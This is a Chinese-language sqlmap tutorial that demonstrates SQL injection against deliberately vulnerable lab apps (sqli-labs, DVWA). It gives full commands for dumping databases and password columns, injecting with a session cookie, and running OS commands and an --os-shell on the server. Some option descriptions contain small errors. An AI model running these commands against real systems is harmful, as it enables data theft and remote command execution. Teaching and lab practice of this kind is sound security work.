SQLMap
sqlmap是一款SQL注入漏洞测试工具,支持mysql, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
常用参数
注意:必须指定至少一个目标
-u #指定URL,必须使用双引号包含url
--data #
-param-del #
User Agent #
-user-agent #指定一个User Agent值
-referer #指定http头中的referer值
-cookie
-cookie-del
-drop-set-cookie
-load-cookies
性能优化
-o #一键优化
-null-connection #http空连接
-p #要测试的注入点
-skit #排除不需要测试的注入点
-os #识别数据库管理系统的操作系统
注意:-u 指定URL时需要带参数,否则找不到注入点
--current-db #获取当前库名
-D “数据库名” --tables #获取该库中的表名
-D “数据库名” -T “表名” --columns #获取该库中指定表下的字段
SQLMap之MySQL数据库注入
1、使用sqlmap判断一个页面是否存在注入漏洞(主要是看能否返回信息)
这里在kali环境下运行SQLMap
sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1"
当给sqlmap一个url的时候,它会判断可注入的参数;判断可以用那种SQL注入技术来注入;识别出哪种数据库;
2、获取数据库信息
sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --dbs
3、获取当前数据库的信息
sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --current-db
4、指定库名列出所有表
sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -D security --tables
5、指定库名表名列出所有字段
sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
6、指定库名表名字段列出所有数据
sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump
SQLMap之cookie注入
1、首先是获取浏览器在网站的cookie。下面详细介绍一种可以获取cookie的方法。
从浏览器控制台代码看:按Fn+F12打开控制台,选择控制台标签页,在标签页底端输入命令document.cookie点击回车,就会出现当前网页的cookie。
document.cookie
也可以使用burpsuite抓包cookie数据。具体操作如下:在浏览器访问想要进行抓包的网址(目标网页),然后设置代理服务器(一般情况下HTTP代理设置为127.0.0.1,端口号是8080),打开burpsuite,返回浏览器的目标网页,进行刷新,此时burpsuite就会自动抓包,存放于【Procy】标签的【Intercept】标签内。
2、带入Cookie 查看是否存在注入点
sqlmap -u \'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit\' --cookie="phpSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low"
3、爆出数据库
sqlmap -u \'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit\' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" --dbs
4、针对指定数据库爆表
sqlmap -u \'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit\' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" -D dvwa --tables
5、针对指定表爆出其所有字段
sqlmap -u \'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit\' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" -D dvwa -T users --columns
6、得到了数据库、表、字段内容,最后查看该表中的所有内容
sqlmap -u \'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit\' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" -D dvwa -T users -C user,avatar,first_name,last_name,password,user_id --dump
SQLMap之交互式写shell及命令执行
1、利用Windows 系统命令查看网站网络信息
sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --os-cmd=ipconfig
选择网站语言
选择网站根目录
查看网站网络信息
2、执行shell
sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --os-shell
选择网站语言
选择网站根目录,会在根目录下生成两个临时文件
进入shell命令行模式
可以正常执行命令
exit退出
3、测试注入点
sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -p id
#-p用于指定扫描参数是id
确定参数ID存在漏洞,而且可以通过基于报错的注入,联合查询注入来进行注入操作,并给出了对应的Payload语句。